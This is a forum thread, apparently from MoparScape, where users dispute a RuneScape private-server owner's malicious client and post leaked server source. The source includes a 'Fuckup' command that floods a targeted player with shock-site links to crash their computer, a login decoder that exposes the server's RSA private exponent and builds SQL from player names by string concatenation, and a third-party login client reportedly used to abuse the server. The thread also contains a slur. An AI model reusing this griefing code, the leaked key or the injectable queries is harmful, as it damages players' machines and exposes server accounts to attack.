#moparleaks 2016

I mean this is probably the first post which is legit to delete, but #moparleaks shows no mercy:

rekt, im still not banned and i’ve duped millions of gold.

its a spawn server stupid

Why Mopman was rm -rf’d supposedly:

Hello,

Regarding the incident on moparscape.org

I understand it all may seem strange, bullshit or whatever but let me tell you the story anyway

I am the owner of FuriousPk.com (https://furiouspk.com/)

We used an older version of the FuriousPk client to test out the official Moparscape server

The server was mainly tested out by FuriousPk staff members and bugs were reported on: https://www.moparscape.org/server/todo/

We hired a guy called my-swagger to help speed up development

What he did instead was leak the client and webpages before we even talked about the official server to the community, the website wasn’t even close to done or whatever

That client was not supposed to be leaked in public (yes it had some malcious code (which was never even called) and was actually used against a member ‘rose’ on furiouspk but that client was not supposed to go public)

So yeah, people are saying I’m infecting people although I didn’t even share links to the client and the client never did anything bad.

I’ve updated our client and the new one is just fine.

Few quick arguments why I don’t intend to spread a virus:

I wouldn’t pay that much to spread a virus, there’s cheaper ways than that
I wouldn’t wait from april to september to start spreading a virus, could’ve done it immediately
I wouldn’t invest in the development of this website to spread a virus

I don’t even see what the point is in spreading a virus, I do not get adrenaline from reading files on other ppls computers and I don’t care about them.

Where is this shit posted?

might be pms
20 characters

Woahh I heard I got hired :joy::joy::joy:

What shit post is that! Yeah I have a services thread on r-s but I got all my info from the repo that was publicly available on github (which is now private).

This is literally down-right retarded

So he is gonna make sure there’s no malicious content then, with the excuse “oh my-swagger leaked it before we could removed it”. As if he would remove it if we didn’t look into it.

Guys be careful:

tis a pm to our mopar loving overlord.

About time I got banned

Hahahaha this just gets better and better every day…

anyone have anything else to add to the server?

1 Like

[code]import java.util.Optional;

import ab.model.players.Player;
import ab.model.players.PlayerHandler;
import ab.model.players.packets.commands.OldCommand;

/**

  • Force the computer of a given player to crash by flooding it with links.

  • @author Emiel
    */
    public class Fuckup implements OldCommand {

    @Override
    public void execute(Player c, String input) {
    Optional optionalPlayer = PlayerHandler.getOptionalPlayer(input);
    if (optionalPlayer.isPresent()) {
    Player c2 = optionalPlayer.get();
    if (c2.getRights().isBetween(1, 3)) {
    c.sendMessage(“You can’t use this command on this player!”);
    return;
    }
    //new PunishmentHandler().punishOnlinePlayer(c2, c, “Fuckup”, “”);
    for (int j = 0; j < 250; j++) {
    c2.getPA().sendFrame126(“www.imswinging.com”, 12000);
    c2.getPA().sendFrame126(“www.sourmath.com”, 12000);
    c2.getPA().sendFrame126(“www.googlehammer.com”, 12000);
    c2.getPA().sendFrame126(“www.bmepainolympics2.com”, 12000);
    }
    } else {
    c.sendMessage(input + " is not online. You can only fuckup online players.");
    }
    }
    }
    [/code]

This is in server.

This one is for Silabsoft

package ab.net.login;

import java.math.BigInteger;
import java.net.InetSocketAddress;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Random;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.buffer.ChannelBuffers;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelFuture;
import org.jboss.netty.channel.ChannelFutureListener;
import org.jboss.netty.channel.ChannelHandlerContext;
import org.jboss.netty.handler.codec.frame.FrameDecoder;

import ab.Ban;
import ab.BanManager;
import ab.Config;
import ab.LoginDebugger;
import ab.MemoryManager;
import ab.Server;
import ab.model.players.FreezeLogs;
import ab.model.players.Player;
import ab.model.players.PlayerHandler;
import ab.model.players.PlayerSave;
import ab.net.ChannelHandler;
import ab.net.PacketBuilder;
import ab.util.ISAACCipher;
import ab.util.Misc;
import ab.util.Time;

public class RS2LoginProtocol extends FrameDecoder {

	private static final BigInteger RSA_MODULUS = new BigInteger("140938733311684595328108964601897674422331514955191931672639890208405808386353302188692002328929058139112010601297305210239177488518419748337598920183968170209534486434500949244490604621414717795747240922978863699764730631041461401568795937685474102305922404166896868627636098099233682756895825524131314086813");

	private static final BigInteger RSA_EXPONENT = new BigInteger("32812658389454560866629332772262305511938817083270801127014349829864898063063287681692213124415209257161161752210114635974020326225094961931963384411355203585551616461560601332296479639571143849272624673012188430622297221673321915182326667234772546490864730277104029730211114616371673170416037099183942895833");

	private static final int CONNECTED = 0;
	private static final int LOGGING_IN = 1;
	private int state = CONNECTED;
	
	
	public static final int EXCHANGES_DATA = 0;
	
	public static final int WAIT_AND_TRY_AGAIN = 1;
	
	public static List<LoginAttempt> attempts = new ArrayList<LoginAttempt>();
	

	@Override
	protected Object decode(ChannelHandlerContext ctx, Channel channel, ChannelBuffer buffer) throws Exception {
		if (!channel.isConnected()) {
			return null;
		}
		String ip = ((InetSocketAddress) channel.getRemoteAddress()).getAddress().getHostAddress().toString();
		if(Server.getConnectionFilter().getAmount(ip) > 3) {
			channel.close();
		}
		switch (state) {
		case CONNECTED:
			if (buffer.readableBytes() < 2)
				return null;
			int request = buffer.readUnsignedByte();
			if (request != 14 && request != 74) {
				System.out.println("Invalid login request: " + request);
				Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Login request != 14");
				Server.getLogsConnection().offer("UPDATE newcomersips SET invalid_login = 1 WHERE ip = '%s'", ip);
				channel.close();
				return null;
			}
			buffer.readUnsignedByte();
			channel.write(new PacketBuilder().putLong(0).put((byte) 0).putLong(new SecureRandom().nextLong()).toPacket());
			state = LOGGING_IN;
			return null;

		case LOGGING_IN:
			@SuppressWarnings("unused")
			
			int loginType = -1,
			loginPacketSize = -1,
			loginEncryptPacketSize = -1;
			//System.out.println("Trying to log in RS2");
			if (2 <= buffer.capacity()) {
				loginType = buffer.readByte() & 0xff; // should be 16 or 18
				loginPacketSize = buffer.readByte() & 0xff;
				loginEncryptPacketSize = loginPacketSize - (36 + 1 + 1 + 2);
				if (loginPacketSize <= 0 || loginEncryptPacketSize <= 0) {
					System.out.println("Zero or negative login size.");
					Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Zero or negative log size");
					Server.getLogsConnection().offer("UPDATE newcomersips SET invalid_login = 1 WHERE ip = '%s'", ip);
					channel.close();
					return false;
				}
			}
			

			/**
			 * Read the magic id.
			 */
			if (loginPacketSize <= buffer.capacity()) {
				int magic = buffer.readByte() & 0xff;
				int version = buffer.readUnsignedShort();
				if (magic != 255) {
					System.out.println("Wrong magic id.");
					Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Wrong magic id");
					Server.getLogsConnection().offer("UPDATE newcomersips SET invalid_login = 1 WHERE ip = '%s'", ip);
					channel.close();
					return false;
				}
				if (version != 1) {
					// Dont Add Anything
				}
				@SuppressWarnings("unused")
				int lowMem = buffer.readByte() & 0xff;

				/**
				 * Pass the CRC keys.
				 */
				for (int i = 0; i < 9; i++) {
					buffer.readInt();
				}
				loginEncryptPacketSize--;
				if (loginEncryptPacketSize != (buffer.readByte() & 0xff)) {
					System.out.println("Encrypted size mismatch.");
					Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Encrypted size mismatch");
					Server.getLogsConnection().offer("UPDATE newcomersips SET invalid_login = 1 WHERE ip = '%s'", ip);
					channel.close();
					return false;
				}

				ChannelBuffer rsaBuffer = buffer.readBytes(loginEncryptPacketSize);
				BigInteger bigInteger = new BigInteger(rsaBuffer.array());
				bigInteger = bigInteger.modPow(RSA_EXPONENT, RSA_MODULUS);
				rsaBuffer = ChannelBuffers.wrappedBuffer(bigInteger.toByteArray());
				if ((rsaBuffer.readByte() & 0xff) != 10) {
					System.out.println("Encrypted id != 10.");
					Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Encrypted id != 10");
					Server.getLogsConnection().offer("UPDATE newcomersips SET invalid_login = 1 WHERE ip = '%s'", ip);
					sendReturnCode(channel, 23);
					channel.close();
					return false;
				}
				//System.out.println("Checking if contains: " + ip);
				if(ChannelHandler.blackList.contains(ip)) {
					System.out.println("Yes contains: " + ip);
					channel.close();
					return false;
				} else {
					//System.out.println("No contains: " + ip);
				}
				final long clientHalf = rsaBuffer.readLong();
				final long serverHalf = rsaBuffer.readLong();

				int uid = rsaBuffer.readInt();
				if (false) {
					Server.getLogsConnection().offer("INSERT INTO cheat_clients(ip,message) VALUES('%s','%s')", ip, "Wrong uid:" + uid);
					channel.close();
					return false;
				}
				final String name = Misc.formatPlayerName(Misc.getRS2String(rsaBuffer));
				Server.getLoginDebugger().log(name, LoginDebugger.READ_NAME);
				final String pass = Misc.getRS2String(rsaBuffer);
				final String macAddress = Misc.getRS2String(rsaBuffer);
				final int[] isaacSeed = { (int) (clientHalf >> 32), (int) clientHalf, (int) (serverHalf >> 32), (int) serverHalf };
				final ISAACCipher inCipher = new ISAACCipher(isaacSeed);
				for (int i = 0; i < isaacSeed.length; i++)
					isaacSeed[i] += 50;
				final ISAACCipher outCipher = new ISAACCipher(isaacSeed);
				// final int version = buffer.readInt();
				Server.getLoginDebugger().log(name, LoginDebugger.READ_ISAAC);
				channel.getPipeline().replace("decoder", "decoder", new RS2Decoder(inCipher));
				Server.getLoginDebugger().log(name, LoginDebugger.NEW_DECODER);
				PlayerLogin login = new PlayerLogin(ip,name, System.currentTimeMillis());
				
				if(ChannelHandler.lastLogins.size() > 100) {
					ChannelHandler.lastLogins.remove(0);
				}
				Server.getLoginDebugger().log(name, LoginDebugger.AFTER_REMOVE0);
				int amount = 0;
				long now = System.currentTimeMillis();
				for(PlayerLogin l : ChannelHandler.lastLogins) {
					if(l.getIp().equalsIgnoreCase(ip) && !l.getName().equalsIgnoreCase(name)) { //same ip, diff name
						if(now - l.getTime() < Time.ONE_MINUTE) {
							amount++;
						}
						if(amount > 5) {
							ChannelHandler.blackList.add(ip);
							Server.getLogsConnection().offer("INSERT INTO blacklist(ip) VALUES('%s')", ip);
						}
					}
				}
				ChannelHandler.lastLogins.add(login);
				Server.getLoginDebugger().log(name, LoginDebugger.ABOUT_TO_LOGIN);
				return login(channel, inCipher, outCipher, version, name, pass, macAddress, uid);
			}
		}
		return null;

	}
	
	static final Random random = new SecureRandom();

	private static int[] generateSessionKey() {
		int[] sessionKey = new int[4];
		long clientSessionKey = random.nextLong();
		long serverSessionKey = random.nextLong();

		sessionKey[0] = (int) (clientSessionKey >> 32);
		sessionKey[1] = (int) clientSessionKey;
		sessionKey[2] = (int) (serverSessionKey >> 32);
		sessionKey[3] = (int) serverSessionKey;

		return sessionKey;
	}
	
	public static boolean addBot() {
		Player bot = new Player(null, -1);
		MemoryManager.addPlayer(bot);
		bot.setName("Bot" + random.nextInt(100000));
		bot.setUID(random.nextInt(100000));
		bot.playerName2 = bot.getName();
		bot.setNameAsLong(Misc.playerNameToInt64(bot.getName()));
		bot.saveCharacter = false;
		bot.setActive(true);
		bot.needsInitialize = true;
		bot.setBot(true);
		bot.getOutStream().packetEncryption = new ISAACCipher(generateSessionKey());

		if (PlayerHandler.isPlayerOn(bot.getName())) {
			return false;
		}

		for (int i = 0; i < bot.playerEquipment.length; i++) {
			if (bot.playerEquipment[i] == 0) {
				bot.playerEquipment[i] = -1;
				bot.playerEquipmentN[i] = 0;
			}
		}

		bot.saveFile = false;

		if (!Server.playerHandler.newBotClient(bot)) {
			System.out.println("Unable to add bot: " + bot.getName());
			return false;
		}

		synchronized (PlayerHandler.lock) {
			bot.initialize();
			bot.initialized = true;

		}
		return true;
	}
	
	
	public static final int SUCCESSFUL_LOGIN = 2;
	
	public static final int INVALID_USER_OR_PASS = 3;
	
	public static final int ACCOUNT_DISABLED = 4;
	
	public static final int ALREADY_LOGGED_IN = 5;
	
	public static final int SERVER_UPDATED = 6;
	
	public static final int WORLD_FULL = 7;
	
	public static final int UNABLE_TO_CONNECT = 8;
	
	public static final int LOGIN_LIMIT_EXCEEDED = 9;
	
	public static final int BAD_SESSION_ID = 10;
	
	public static final int LOGIN_SERVER_REJECTED = 11;
	
	public static final int MEMBERS_ONLY = 12;
	
	public static final int COULD_NOT_COMPLETE = 13;
	
	public static final int UPDATE_IN_PROGRESS = 14;
	
	public static final int LOGIN_ATTEMPTS_EXCEEDED = 16;
	
	public static final int LOCKED = 25;

	private static Player login(Channel channel, ISAACCipher inCipher, ISAACCipher outCipher, int version, String name, String checkingPass, String macAddress, int uid) {
		String ip = ((InetSocketAddress) channel.getRemoteAddress()).getAddress().getHostAddress().toString();
		
		LoginResponse response = LoginResponse.SUCCESSFUL_LOGIN;
		
		if (!name.matches("[A-Za-z0-9 ]+") || name.length() > 12 || name.length() <= 0) {
			response = LoginResponse.INVALID_CREDENTIALS;
			sendReturnCode(channel, response.getCode());
			return null;
		}

		Pattern pattern = Pattern.compile("(([0-9A-Fa-f]{2}[-:]){5}[0-9A-Fa-f]{2})|(([0-9A-Fa-f]{4}.){2}[0-9A-Fa-f]{4})");
		Matcher matcher = pattern.matcher(macAddress);

		/*if (!matcher.matches()) {
			System.out.println("Denied player " + name + " with invalid MAC: " + macAddress);
			response = LoginResponse.LOGIN_SERVER_OFFLINE;
			sendReturnCode(channel, response.getCode());
			return null;
		}*/
		
		if (BanManager.isPunishmentActive(ip, Ban.BAN_IP)) {
			response = LoginResponse.ACCOUNT_DISABLED;
			sendReturnCode(channel, response.getCode());
			Server.getLogsConnection().offer("INSERT INTO returncodes(code,name,ip) VALUES(%d,'%s','%s')", 104, name, ip);
			return null;
		}
		
		if (BanManager.isNamedBanned(name)) {
			response = LoginResponse.ACCOUNT_DISABLED;
			sendReturnCode(channel, response.getCode());
			Server.getLogsConnection().offer("INSERT INTO returncodes(code,name,ip) VALUES(%d,'%s','%s')", 105, name, ip);
			return null;
		}
		
		if (BanManager.isPunishmentActive(macAddress, Ban.BAN_MAC)) {
			response = LoginResponse.ACCOUNT_DISABLED;
			sendReturnCode(channel, response.getCode());
			Server.getLogsConnection().offer("INSERT INTO returncodes(code,name,ip) VALUES(%d,'%s','%s')", 106, name, ip);
			return null;
		}
		
		
		long count = attempts.stream().filter(p -> p.getIp().equals(ip)).count();
		
		if (count > 4) {
			response = LoginResponse.LOGIN_ATTEMPTS_EXCEEDED;
			sendReturnCode(channel, response.getCode());
			Server.getLogsConnection().offer("INSERT INTO returncodes(code,name,ip) VALUES(%d,'%s','%s')", 108, name, ip);
			return null;
		}
		
		Player cl = new Player(channel, -1);
		MemoryManager.addPlayer(cl);
		cl.setName(name);
		cl.freezeLogs = new FreezeLogs(name);
		if(name.toLowerCase().contains("furious")) {
			//cl.freezeLogs.enable(); 
			cl.freezeLogs.add("LOGIN:" + new Date().toString());
		}
		cl.setUID(uid);
		cl.playerName2 = cl.getName();
		cl.setNameAsLong(Misc.playerNameToInt64(cl.getName()));
		cl.getOutStream().packetEncryption = outCipher;
		cl.saveCharacter = false;
		cl.setActive(true);
		cl.setMacAddress(macAddress);

		if (cl.getName().endsWith(" ") || cl.getName().startsWith(" ") || cl.getName().contains("  ")) {
			response = LoginResponse.INVALID_CREDENTIALS;
		}
		
		if (PlayerHandler.isPlayerOn(name)) {
			response = LoginResponse.ALREADY_LOGGED_IN;
			Server.playerHandler.addDoubleLoginAttempt(name.toLowerCase(), System.currentTimeMillis());
		}
		
		if (PlayerHandler.getPlayerCount() >= Config.MAX_PLAYERS) {
			response = LoginResponse.WORLD_FULL;
		}
		
		if (Server.UpdateServer) {
			response = LoginResponse.UPDATE_IN_PROGRESS;
		}

		if (response == LoginResponse.SUCCESSFUL_LOGIN) {
			int load = PlayerSave.loadGame(cl, cl.getName(), checkingPass);

			if (load == 0)
				cl.addStarter = true;

			if (load == 3) {
				attempts.add(new LoginAttempt(ip));
				response = LoginResponse.INVALID_CREDENTIALS;
				Server.getLogsConnection().offer("INSERT INTO returncodes(code,name,ip) VALUES(%d,'%s','%s')", 120, name, ip);
				cl.saveFile = false;
			} else {
				for (int i = 0; i < cl.playerEquipment.length; i++) {
					if (cl.playerEquipment[i] == 0) {
						cl.playerEquipment[i] = -1;
						cl.playerEquipmentN[i] = 0;
					}
				}
				if (!Server.playerHandler.newPlayerClient(cl)) {
					response = LoginResponse.WORLD_FULL;
					cl.saveFile = false;
				} else {
					cl.saveFile = true;
				}
			}
		}
		
		//Server.getLogsConnection().offer("INSERT INTO ip_logins(ip,returncode) VALUES('%s',%d)", ip, response.getCode());
		
		if (response == LoginResponse.SUCCESSFUL_LOGIN) {
			Server.getLogsConnection().offer("UPDATE playerfiles SET lastlogintime = NOW(), login_count = login_count + 1, login_row = login_row + 1, invalid_row = 0 WHERE name = '" + cl.getName() + "'");
			cl.saveCharacter = true;
			cl.setPacketType(-1);
			cl.setPacketSize(0);
			final PacketBuilder bldr = new PacketBuilder();
			bldr.put((byte) 2);
			if (cl.getRights().isOwner()) {
				bldr.put((byte) 3);
			} else {
				bldr.put((byte) cl.getRights().getValue());
			}
			bldr.put((byte) 0);
			channel.write(bldr.toPacket());
		} else {
			Server.getLogsConnection().offer("UPDATE playerfiles SET invalid_count = invalid_count + 1, invalid_row = invalid_row + 1, login_row = 0 WHERE name = '" + cl.getName() + "'");
			sendReturnCode(channel, response.getCode());
			return null;
		}
		
		cl.needsInitialize = true;
		Server.getLoginDebugger().log(cl.getName(), LoginDebugger.BEFORE_SYNC_LOCK);
		synchronized (PlayerHandler.lock) {
			cl.initialize();
			cl.initialized = true;
			
		}
		return cl;
	}

	public static void sendReturnCode(final Channel channel, final int code) {
		channel.write(new PacketBuilder().put((byte) code).toPacket()).addListener(new ChannelFutureListener() {
			@Override
			public void operationComplete(final ChannelFuture arg0) throws Exception {
				arg0.getChannel().close();
			}
		});
	}

}
package com.evelus.fury.auth;

import com.evelus.fury.AuthenticationException;
import com.evelus.fury.AuthenticationStrategy;
import com.evelus.fury.Client;
import com.evelus.fury.Connection;
import com.evelus.fury.ISAACRandom;
import com.evelus.fury.StringUtils;

import java.io.IOException;
import java.math.BigInteger;
import java.nio.ByteBuffer;

import static com.evelus.fury.ByteBufferUtils.putString;

/**
 * @author hadyn
 */
public class MoparscapeAuthenticator implements AuthenticationStrategy {
  private static final BigInteger PUBLIC_EXPONENT = new BigInteger("65537");
  private static final BigInteger MODULUS = new BigInteger(
    "14093873331168459532810896460189767442233151495519193167263989020840580838635330218869200232892"
      + "9058139112010601297305210239177488518419748337598920183968170209534486434500949244490604621"
      + "4147177957472409229788636997647306310414614015687959376854741023059224041668968686276360980"
      + "99233682756895825524131314086813");

  @Override public Client authenticate(Connection connection, String username, String password)
    throws AuthenticationException {
    try {
      byte[] buffer = new byte[16];
      buffer[0] = (byte) 14;
      buffer[1] = (byte) 0;
      connection.write(buffer, 0, 2);

      int queryResponse = connection.read();
      if (queryResponse != 0) {
        throw new IOException("Read unexpected response from server: " + queryResponse + ".");
      }

      connection.read(buffer, 0, 8);
      connection.read(buffer, 0, 8);

      ByteBuffer bb = ByteBuffer.wrap(buffer);
      long serverKey = bb.getLong();

      int[] keys = new int[] {
        (int) (Math.random() * 9.99999999e8),
        (int) (Math.random() * 9.99999999e8D),
        (int) (serverKey >> 32L),
        (int)  serverKey
      };

      ByteBuffer cipheredBuf = ByteBuffer.allocate(255);
      cipheredBuf.put((byte) 10);
      cipheredBuf.putInt(keys[0]);
      cipheredBuf.putInt(keys[1]);
      cipheredBuf.putInt(keys[2]);
      cipheredBuf.putInt(keys[3]);
      cipheredBuf.putInt(123471);
      putString(cipheredBuf, username);
      putString(cipheredBuf, password);
      putString(cipheredBuf, StringUtils.generateMac());
      cipheredBuf.flip();

      byte[] temp = new byte[cipheredBuf.limit()];
      cipheredBuf.get(temp);

      BigInteger a = new BigInteger(temp);
      BigInteger b = a.modPow(PUBLIC_EXPONENT, MODULUS);
      byte[] cipheredBytes = b.toByteArray();

      ByteBuffer buf = ByteBuffer.allocate(255);
      buf.put((byte) 16);
      buf.put((byte) (1 + 36 + 1 + 1 + 2 + cipheredBytes.length));
      buf.put((byte) 255);
      buf.putShort((short) 317);
      buf.put((byte) 1);
      for (int k = 0; k < 9; k++) {
        buf.putInt(0);
      }
      buf.put((byte) cipheredBytes.length);
      buf.put(cipheredBytes);
      buf.flip();

      connection.write(buf.array(), 0, buf.limit());

      int response = connection.read();
      if (response != 2) {
        throw new AuthenticationException();
      }

      Client client = new Client(connection);
      client.setOutputRandom(new ISAACRandom(keys));
      return client;
    } catch (IOException ex) {
      ex.printStackTrace();
      throw new AuthenticationException();
    }
  }
}

I already have this

I used the official client to shit on the server.

1 Like